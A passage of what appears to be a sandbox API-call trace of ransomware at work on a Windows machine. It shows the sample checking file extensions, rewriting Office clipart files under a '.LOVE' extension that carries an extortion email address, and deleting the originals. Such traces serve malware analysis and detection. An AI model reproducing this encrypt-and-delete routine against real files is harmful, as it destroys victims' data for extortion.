(lpString=".rar") returned 4 [0206.357] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.357] lstrlenW (lpString=".bz2") returned 4 [0206.357] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.357] lstrlenW (lpString=".7z") returned 3 [0206.357] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.357] lstrlenW (lpString=".dbf") returned 4 [0206.357] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.357] lstrlenW (lpString=".1cd") returned 4 [0206.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.357] lstrlenW (lpString=".jpg") returned 4 [0206.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.357] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.357] lstrlenW (lpString="AG00142_.GIF") returned 12 [0206.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.400] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=15308) returned 1 [0206.400] CloseHandle (hObject=0x33c) returned 1 [0206.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0206.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.401] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.401] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.404] GetLastError () returned 0x0 [0206.404] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0206.427] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0206.428] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.428] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.428] SetEndOfFile (hFile=0x31c) returned 1 [0206.428] CloseHandle (hObject=0x31c) returned 1 [0206.429] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.429] SetEndOfFile (hFile=0x330) returned 1 [0206.429] CloseHandle (hObject=0x330) returned 1 [0206.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0206.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.430] lstrlenW (lpString=".doc") returned 4 [0206.430] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.430] lstrlenW (lpString=".docx") returned 5 [0206.430] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.430] lstrlenW (lpString=".pdf") returned 4 [0206.430] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.430] lstrlenW (lpString=".xls") returned 4 [0206.430] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.430] lstrlenW (lpString=".xlsx") returned 5 [0206.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.430] lstrlenW (lpString=".ppt") returned 4 [0206.430] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.430] lstrlenW (lpString=".zip") returned 4 [0206.430] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.430] lstrlenW (lpString=".rar") returned 4 [0206.430] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString=".bz2") returned 4 [0206.431] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.431] lstrlenW (lpString=".7z") returned 3 [0206.431] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString=".dbf") returned 4 [0206.431] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString=".1cd") returned 4 [0206.431] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString=".jpg") returned 4 [0206.431] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString=".doc") returned 4 [0206.431] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.431] lstrlenW (lpString=".docx") returned 5 [0206.431] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.431] lstrlenW (lpString=".pdf") returned 4 [0206.431] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString=".xls") returned 4 [0206.431] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString=".xlsx") returned 5 [0206.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.431] lstrlenW (lpString=".ppt") returned 4 [0206.431] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString=".zip") returned 4 [0206.431] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString=".rar") returned 4 [0206.431] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.431] lstrlenW (lpString=".bz2") returned 4 [0206.431] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.431] lstrlenW (lpString=".7z") returned 3 [0206.431] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.431] lstrlenW (lpString=".dbf") returned 4 [0206.432] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.432] lstrlenW (lpString=".1cd") returned 4 [0206.432] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0206.432] lstrlenW (lpString=".jpg") returned 4 [0206.432] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.432] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.432] lstrlenW (lpString="AG00160_.GIF") returned 12 [0206.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.432] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1146) returned 1 [0206.432] CloseHandle (hObject=0x330) returned 1 [0206.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0206.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.432] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.433] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.433] GetLastError () returned 0x0 [0206.433] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x47a, lpOverlapped=0x0) returned 1 [0206.468] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x480, lpOverlapped=0x0) returned 1 [0206.469] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.469] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.469] SetEndOfFile (hFile=0x31c) returned 1 [0206.469] CloseHandle (hObject=0x31c) returned 1 [0206.470] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.470] SetEndOfFile (hFile=0x330) returned 1 [0206.471] CloseHandle (hObject=0x330) returned 1 [0206.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.471] lstrlenW (lpString=".doc") returned 4 [0206.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.471] lstrlenW (lpString=".docx") returned 5 [0206.471] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.471] lstrlenW (lpString=".pdf") returned 4 [0206.472] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.472] lstrlenW (lpString=".xls") returned 4 [0206.472] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.472] lstrlenW (lpString=".xlsx") returned 5 [0206.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.472] lstrlenW (lpString=".ppt") returned 4 [0206.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.472] lstrlenW (lpString=".zip") returned 4 [0206.472] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.472] lstrlenW (lpString=".rar") returned 4 [0206.472] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.472] lstrlenW (lpString=".bz2") returned 4 [0206.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.472] lstrlenW (lpString=".7z") returned 3 [0206.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.472] lstrlenW (lpString=".dbf") returned 4 [0206.472] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.472] lstrlenW (lpString=".1cd") returned 4 [0206.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.472] lstrlenW (lpString=".jpg") returned 4 [0206.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.472] lstrlenW (lpString=".doc") returned 4 [0206.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.472] lstrlenW (lpString=".docx") returned 5 [0206.472] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.473] lstrlenW (lpString=".pdf") returned 4 [0206.473] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.473] lstrlenW (lpString=".xls") returned 4 [0206.473] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.473] lstrlenW (lpString=".xlsx") returned 5 [0206.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.473] lstrlenW (lpString=".ppt") returned 4 [0206.473] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.473] lstrlenW (lpString=".zip") returned 4 [0206.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.473] lstrlenW (lpString=".rar") returned 4 [0206.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.473] lstrlenW (lpString=".bz2") returned 4 [0206.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.473] lstrlenW (lpString=".7z") returned 3 [0206.473] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.473] lstrlenW (lpString=".dbf") returned 4 [0206.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.473] lstrlenW (lpString=".1cd") returned 4 [0206.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0206.473] lstrlenW (lpString=".jpg") returned 4 [0206.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.476] GetLastError () returned 0x0 [0206.476] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x33c6, lpOverlapped=0x0) returned 1 [0206.490] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x33d0, lpOverlapped=0x0) returned 1 [0206.490] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.490] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.491] SetEndOfFile (hFile=0x31c) returned 1 [0206.492] CloseHandle (hObject=0x31c) returned 1 [0206.493] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.493] SetEndOfFile (hFile=0x330) returned 1 [0206.509] CloseHandle (hObject=0x330) returned 1 [0206.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0206.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0206.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0206.510] lstrlenW (lpString=".doc") returned 4 [0206.510] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.510] lstrlenW (lpString=".docx") returned 5 [0206.510] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.510] lstrlenW (lpString=".pdf") returned 4 [0206.510] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.510] lstrlenW (lpString=".xls") returned 4 [0206.510] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.510] lstrlenW (lpString=".xlsx") returned 5 [0206.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.510] lstrlenW (lpString=".ppt") returned 4 [0206.510] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0206.511] lstrlenW (lpString=".zip") returned 4 [0206.511] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.511] lstrlenW (lpString=".rar") returned 4 [0206.511] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.511] lstrlenW (lpString=".bz2") returned 4 [0206.511] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.511] lstrlenW (lpString=".7z") returned 3 [0206.511] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0206.511] lstrlenW (lpString=".dbf") returned 4 [0206.511] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0206.511] lstrlenW (lpString=".1cd") returned 4 [0206.511] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0206.511] lstrlenW (lpString=".jpg") returned 4 [0206.511] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.517] GetLastError () returned 0x0 [0206.517] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2420, lpOverlapped=0x0) returned 1 [0206.550] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2430, lpOverlapped=0x0) returned 1 [0206.550] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.550] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.551] SetEndOfFile (hFile=0x374) returned 1 [0206.557] CloseHandle (hObject=0x374) returned 1 [0206.557] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.557] SetEndOfFile (hFile=0x330) returned 1 [0206.558] CloseHandle (hObject=0x330) returned 1 [0206.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0206.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0206.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0206.559] lstrlenW (lpString=".doc") returned 4 [0206.559] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.559] lstrlenW (lpString=".docx") returned 5 [0206.559] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.559] lstrlenW (lpString=".pdf") returned 4 [0206.559] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.559] lstrlenW (lpString=".xls") returned 4 [0206.559] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.559] lstrlenW (lpString=".xlsx") returned 5 [0206.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.559] lstrlenW (lpString=".ppt") returned 4 [0206.559] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0206.559] lstrlenW (lpString=".zip") returned 4 [0206.559] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.559] lstrlenW (lpString=".rar") returned 4 [0206.559] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.559] lstrlenW (lpString=".bz2") returned 4 [0206.559] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.559] lstrlenW (lpString=".7z") returned 3 [0206.559] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0206.559] lstrlenW (lpString=".dbf") returned 4 [0206.559] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0206.559] lstrlenW (lpString=".1cd") returned 4 [0206.560] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.560] lstrlenW (lpString="C:\\Program Files\\Microsoft 